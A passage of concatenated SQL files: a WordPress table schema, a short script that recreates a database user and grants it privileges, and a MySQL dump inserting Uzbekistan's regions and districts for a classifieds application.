null, option_value longtext not null, autoload varchar(20) default 'yes' not null, constraint option_name unique (option_name) ) collate=utf8mb4_unicode_520_ci; create table if not exists wp_postmeta ( meta_id bigint unsigned auto_increment primary key, post_id bigint unsigned default 0 not null, meta_key varchar(255) null, meta_value longtext null ) collate=utf8mb4_unicode_520_ci; create index meta_key on wp_postmeta (meta_key); create index post_id on wp_postmeta (post_id); create table if not exists wp_posts ( ID bigint unsigned auto_increment primary key, post_author bigint unsigned default 0 not null, post_date datetime default '0000-00-00 00:00:00' not null, post_date_gmt datetime default '0000-00-00 00:00:00' not null, post_content longtext not null, post_title text not null, post_excerpt text not null, post_status varchar(20) default 'publish' not null, comment_status varchar(20) default 'open' not null, ping_status varchar(20) default 'open' not null, post_password varchar(255) default '' not null, post_name varchar(200) default '' not null, to_ping text not null, pinged text not null, post_modified datetime default '0000-00-00 00:00:00' not null, post_modified_gmt datetime default '0000-00-00 00:00:00' not null, post_content_filtered longtext not null, post_parent bigint unsigned default 0 not null, guid varchar(255) default '' not null, menu_order int default 0 not null, post_type varchar(20) default 'post' not null, post_mime_type varchar(100) default '' not null, comment_count bigint default 0 not null ) collate=utf8mb4_unicode_520_ci; create index post_author on wp_posts (post_author); create index post_name on wp_posts (post_name); create index post_parent on wp_posts (post_parent); create index type_status_date on wp_posts (post_type, post_status, post_date, ID); create table if not exists wp_term_relationships ( object_id bigint unsigned default 0 not null, term_taxonomy_id bigint unsigned default 0 not null, term_order int default 0 not null, primary key (object_id, term_taxonomy_id) ) collate=utf8mb4_unicode_520_ci; create index term_taxonomy_id on wp_term_relationships (term_taxonomy_id); create table if not exists wp_term_taxonomy ( term_taxonomy_id bigint unsigned auto_increment primary key, term_id bigint unsigned default 0 not null, taxonomy varchar(32) default '' not null, description longtext not null, parent bigint unsigned default 0 not null, count bigint default 0 not null, constraint term_id_taxonomy unique (term_id, taxonomy) ) collate=utf8mb4_unicode_520_ci; create index taxonomy on wp_term_taxonomy (taxonomy); create table if not exists wp_termmeta ( meta_id bigint unsigned auto_increment primary key, term_id bigint unsigned default 0 not null, meta_key varchar(255) null, meta_value longtext null ) collate=utf8mb4_unicode_520_ci; create index meta_key on wp_termmeta (meta_key); create index term_id on wp_termmeta (term_id); create table if not exists wp_terms ( term_id bigint unsigned auto_increment primary key, name varchar(200) default '' not null, slug varchar(200) default '' not null, term_group bigint(10) default 0 not null ) collate=utf8mb4_unicode_520_ci; create index name on wp_terms (name); create index slug on wp_terms (slug); create table if not exists wp_usermeta ( umeta_id bigint unsigned auto_increment primary key, user_id bigint unsigned default 0 not null, meta_key varchar(255) null, meta_value longtext null ) collate=utf8mb4_unicode_520_ci; create index meta_key on wp_usermeta (meta_key); create index user_id on wp_usermeta (user_id); create table if not exists wp_users ( ID bigint unsigned auto_increment primary key, user_login varchar(60) default '' not null, user_pass varchar(255) default '' not null, user_nicename varchar(50) default '' not null, user_email varchar(100) default '' not null, user_url varchar(100) default '' not null, user_registered datetime default '0000-00-00 00:00:00' not null, user_activation_key varchar(255) default '' not null, user_status int default 0 not null, display_name varchar(250) default '' not null ) collate=utf8mb4_unicode_520_ci; create index user_email on wp_users (user_email); create index user_login_key on wp_users (user_login); create index user_nicename on wp_users (user_nicename);
select 'executing drop user scott' as log from dual; drop user 'scott'@'%'; -- Creates the user select 'executing create user scott' as log from dual; create user 'scott'@'%' identified by 'scott@<PASSWORD>'; -- Gives all the privileges to the new user select 'executing grant privilege' as log from dual; grant all on db_templates.* to 'scott'@'%';
<reponame>devopsmanojn/laraclassified<gh_stars>0 -- MySQL dump 10.13 Distrib 5.7.26, for osx10.10 (x86_64) -- -- Host: 127.0.0.1 Database: laraclassified -- ------------------------------------------------------ -- Server version 5.7.26 /*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */; /*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */; /*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */; /*!40101 SET NAMES utf8 */; /*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */; /*!40103 SET TIME_ZONE='+00:00' */; /*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */; /*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */; /*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */; /*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */; -- -- Dumping data for table `<<prefix>>subadmin1` -- /*!40000 ALTER TABLE `<<prefix>>subadmin1` DISABLE KEYS */; INSERT INTO `<<prefix>>subadmin1` (`code`, `country_code`, `name`, `asciiname`, `active`) VALUES ('UZ.09','UZ','Karakalpakstan','Karakalpakstan',1); INSERT INTO `<<prefix>>subadmin1` (`code`, `country_code`, `name`, `asciiname`, `active`) VALUES ('UZ.12','UZ','Surxondaryo','Surxondaryo',1); INSERT INTO `<<prefix>>subadmin1` (`code`, `country_code`, `name`, `asciiname`, `active`) VALUES ('UZ.10','UZ','Samarqand','Samarqand',1); INSERT INTO `<<prefix>>subadmin1` (`code`, `country_code`, `name`, `asciiname`, `active`) VALUES ('UZ.08','UZ','Qashqadaryo','Qashqadaryo',1); INSERT INTO `<<prefix>>subadmin1` (`code`, `country_code`, `name`, `asciiname`, `active`) VALUES ('UZ.02','UZ','Bukhara','Bukhara',1); INSERT INTO `<<prefix>>subadmin1` (`code`, `country_code`, `name`, `asciiname`, `active`) VALUES ('UZ.14','UZ','Toshkent','Toshkent',1); INSERT INTO `<<prefix>>subadmin1` (`code`, `country_code`, `name`, `asciiname`, `active`) VALUES ('UZ.13','UZ','Toshkent Shahri','Toshkent Shahri',1); INSERT INTO `<<prefix>>subadmin1` (`code`, `country_code`, `name`, `asciiname`, `active`) VALUES ('UZ.16','UZ','Sirdaryo','Sirdaryo',1); INSERT INTO `<<prefix>>subadmin1` (`code`, `country_code`, `name`, `asciiname`, `active`) VALUES ('UZ.07','UZ','Navoiy','Navoiy',1); INSERT INTO `<<prefix>>subadmin1` (`code`, `country_code`, `name`, `asciiname`, `active`) VALUES ('UZ.06','UZ','Namangan','Namangan',1); INSERT INTO `<<prefix>>subadmin1` (`code`, `country_code`, `name`, `asciiname`, `active`) VALUES ('UZ.05','UZ','Xorazm','Xorazm',1); INSERT INTO `<<prefix>>subadmin1` (`code`, `country_code`, `name`, `asciiname`, `active`) VALUES ('UZ.15','UZ','Jizzax','Jizzax',1); INSERT INTO `<<prefix>>subadmin1` (`code`, `country_code`, `name`, `asciiname`, `active`) VALUES ('UZ.03','UZ','Fergana','Fergana',1); INSERT INTO `<<prefix>>subadmin1` (`code`, `country_code`, `name`, `asciiname`, `active`) VALUES ('UZ.01','UZ','Andijon','Andijon',1); /*!40000 ALTER TABLE `<<prefix>>subadmin1` ENABLE KEYS */; -- -- Dumping data for table `<<prefix>>subadmin2` -- /*!40000 ALTER TABLE `<<prefix>>subadmin2` DISABLE KEYS */; INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.09.601276','UZ','UZ.09','Shumanay Tumani','Shumanay Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.09.601292','UZ','UZ.09','Nukus Tumani','Nukus Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.09.601301','UZ','UZ.09','Mo’ynoq Tumani','Mo\'ynoq Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.09.601309','UZ','UZ.09','Qanliko‘l Tumani','Qanliko`l Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.09.601322','UZ','UZ.09','Qo‘ng‘irot Tumani','Qo`ng`irot Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.09.601340','UZ','UZ.09','Xo‘jayli Tumani','Xo`jayli Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.09.601347','UZ','UZ.09','Kegeyli Tumani','Kegeyli Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.09.601394','UZ','UZ.09','Chimboy Tumani','Chimboy Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.09.601398','UZ','UZ.09','Bo‘zatov Tumani','Bo`zatov Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.15.1215692','UZ','UZ.15','Zomin Tumani','Zomin Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.08.1215766','UZ','UZ.08','Yakkabog‘ Tumani','Yakkabog` Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.02.1215788','UZ','UZ.02','Vobkent Tumani','Vobkent Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.08.1215811','UZ','UZ.08','Usmon Yusupov Tumani','Usmon Yusupov Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.10.1215838','UZ','UZ.10','Urgut Tumani','Urgut Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.08.1215855','UZ','UZ.08','Kasbi Tumani','Kasbi Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.02.1215958','UZ','UZ.02','Termiz Tumani','Termiz Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.02.1216048','UZ','UZ.02','Jondor Tumani','Jondor Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.10.1216079','UZ','UZ.10','Nurobod Tumani','Nurobod Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.12.1216113','UZ','UZ.12','Sho‘rchi Tumani','Sho`rchi Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.12.1216154','UZ','UZ.12','Sherobod Tumani','Sherobod Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.08.1216186','UZ','UZ.08','Sh<NAME>i','Sh<NAME>umani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.12.1216243','UZ','UZ.12','<NAME>','<NAME>',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.10.1216266','UZ','UZ.10','S<NAME>umani','Samar<NAME>umani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.02.1216289','UZ','UZ.02','Romiton Tumani','Romiton Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.10.1216337','UZ','UZ.10','Payariq Tumani','Payariq Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.10.1216341','UZ','UZ.10','Pastdarg‘om Tumani','Pastdarg`om Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.10.1216354','UZ','UZ.10','Paxtachi Tumani','Paxtachi Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.08.1216399','UZ','UZ.08','Nishon Tumani','Nishon Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.10.1216429','UZ','UZ.10','Narpay Tumani','Narpay Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.08.1216474','UZ','UZ.08','Muborak Tumani','Muborak Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.12.1216571','UZ','UZ.12','Qiziriq Tumani','Qiziriq Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.07.1216582','UZ','UZ.07','Qiziltepa Tumani','Qiziltepa Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.12.1216685','UZ','UZ.12','Qumqŭrghon Tumani','Qumqurghon Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.08.1216786','UZ','UZ.08','Kitob Tumani','Kitob Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.10.1216987','UZ','UZ.10','Kattaqo‘rg‘on Tumani','Kattaqo`rg`on Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.08.1217005','UZ','UZ.08','Koson Tumani','Koson Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.08.1217013','UZ','UZ.08','Qarshi Tumani','Qarshi Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.02.1217081','UZ','UZ.02','Qorakŭl Tumani','Qorakul Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.08.1217142','UZ','UZ.08','Qamashi Tumani','Qamashi Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.02.1217179','UZ','UZ.02','Kogon Tumani','Kogon Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.10.1217214','UZ','UZ.10','Ishtixon Tumani','Ishtixon Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.08.1217259','UZ','UZ.08','G‘uzor Tumani','G`uzor Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.15.1217334','UZ','UZ.15','G‘allaorol Tumani','G`allaorol Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.12.1217341','UZ','UZ.12','Muzrabod Tumani','Muzrabod Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.12.1217391','UZ','UZ.12','Jarqo‘rg‘on Tumani','Jarqo`rg`on Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.10.1217412','UZ','UZ.10','Jomboy Tumani','Jomboy Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.12.1217476','UZ','UZ.12','Denov Tumani','Denov Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.08.1217479','UZ','UZ.08','Dehqonobod Tumani','Dehqonobod Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.08.1217538','UZ','UZ.08','Chiroqchi Tumani','Chiroqchi Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.10.1217655','UZ','UZ.10','Bulung‘ur Tumani','Bulung`ur Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.02.1217663','UZ','UZ.02','Bukhoro Tumani','Bukhoro Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.12.1217733','UZ','UZ.12','Boysun Tumani','Boysun Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.15.1217778','UZ','UZ.15','Baxmal Tumani','Baxmal Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.12.1217872','UZ','UZ.12','<NAME>','Angor Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.12.1217894','UZ','UZ.12','Oltinsoy Tumani','Oltinsoy Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.02.1217905','UZ','UZ.02','Olot Tumani','Olot Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.10.1217960','UZ','UZ.10','Oqdaryo Tumani','Oqdaryo Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.02.1346433','UZ','UZ.02','Qorovulbozor Tumani','Qorovulbozor Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.02.1346437','UZ','UZ.02','Kogon Shahri','Kogon Shahri',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.10.1346451','UZ','UZ.10','Chelak Tumani','Chelak Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.10.1346455','UZ','UZ.10','Go`zalkent Tumani','Go`zalkent Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.10.1346462','UZ','UZ.10','Toyloq Tumani','Toyloq Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.10.1346463','UZ','UZ.10','Samarqand Shahri','Samarqand Shahri',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.10.1346465','UZ','UZ.10','Oqtosh Shahri','Oqtosh Shahri',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.10.1346467','UZ','UZ.10','Urgut Shahri','Urgut Shahri',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.08.1346479','UZ','UZ.08','Mirishkor Tumani','Mirishkor Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.08.1346481','UZ','UZ.08','Qarshi Shahri','Qarshi Shahri',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.12.1346497','UZ','UZ.12','Uzun Tumani','Uzun Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.12.1346534','UZ','UZ.12','Bandikhon Tumani','Bandikhon Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.12.1346536','UZ','UZ.12','Termiz Shahri','Termiz Shahri',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.12.1346537','UZ','UZ.12','Denov Shahri','Denov Shahri',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.15.1512277','UZ','UZ.15','Zarbdor Tumani','Zarbdor Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.06.1512289','UZ','UZ.06','Mingbuloq Tumani','Mingbuloq Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.03.1512318','UZ','UZ.03','Yozyovon Tumani','Yozyovon Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.06.1512349','UZ','UZ.06','Yangiqo‘rg‘on Tumani','Yangiqo`rg`on Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.05.1512360','UZ','UZ.05','Yangibozor Tumani','Yangibozor Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.05.1512367','UZ','UZ.05','Yangiariq Tumani','Yangiariq Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.16.1512404','UZ','UZ.16','Sayhunobod Tumani','Sayhunobod Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.03.1512439','UZ','UZ.03','O‘zbekiston Tumani','O`zbekiston Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.06.1512448','UZ','UZ.06','Uychi Tumani','Uychi Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.05.1512467','UZ','UZ.05','Urganch Tumani','Urganch Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.06.1512500','UZ','UZ.06','Uchqŭrghon Tumani','Uchqurghon Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.07.1512504','UZ','UZ.07','Uchkuduk District','Uchkuduk District',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.09.1512534','UZ','UZ.09','To‘rtko‘l Tumani','To`rtko`l Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.06.1512548','UZ','UZ.06','Tŭraqŭrghon Tumani','Turaqurghon Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.03.1512646','UZ','UZ.03','Toshloq Tumani','Toshloq Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.14.1512652','UZ','UZ.14','Toshkent Tumani','Toshkent Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.07.1512673','UZ','UZ.07','Tomdi Tumani','Tomdi Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.09.1512698','UZ','UZ.09','Taxtako‘pir Tumani','Taxtako`pir Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.16.1512717','UZ','UZ.16','Sirdaryo Tumani','Sirdaryo Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.14.1512751','UZ','UZ.14','Ŭrta Chirchiq Tumani','Urta Chirchiq Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.05.1512818','UZ','UZ.05','Shovot Tumani','Shovot Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.02.1512837','UZ','UZ.02','Shofirkon Tumani','Shofirkon Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.13.1512848','UZ','UZ.13','Sirgali Tumani','Sirgali Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.13.1512949','UZ','UZ.13','Sobir Rahimov Tumani','Sobir Rahimov Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.03.1512956','UZ','UZ.03','Rishton Tumani','Rishton Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.14.1512985','UZ','UZ.14','Piskent Tumani','Piskent Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.02.1513006','UZ','UZ.02','Peshku Tumani','Peshku Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.14.1513016','UZ','UZ.14','Parkent Tumani','Parkent Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.06.1513021','UZ','UZ.06','Pop Tumani','Pop Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.15.1513035','UZ','UZ.15','Paxtakor Tumani','Paxtakor Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.01.1513039','UZ','UZ.01','Pakhtaobod Tumani','Pakhtaobod Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.14.1513057','UZ','UZ.14','Qibray Tumani','Qibray Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.13.1513066','UZ','UZ.13','Shaykhontohur Tumani','Shaykhontohur Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.15.1513067','UZ','UZ.15','Zafarobod Tumani','Zafarobod Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.07.1513082','UZ','UZ.07','Nurota Tumani','Nurota Tumani',1); INSERT INTO `<<prefix>>subadmin2` (`code`, `country_code`, `subadmin1_code`, `name`, `asciiname`, `active`) VALUES ('UZ.07.1513133','UZ','UZ.07','Navoiy Tumani','Navoiy Tumani',1); INSERT INTO 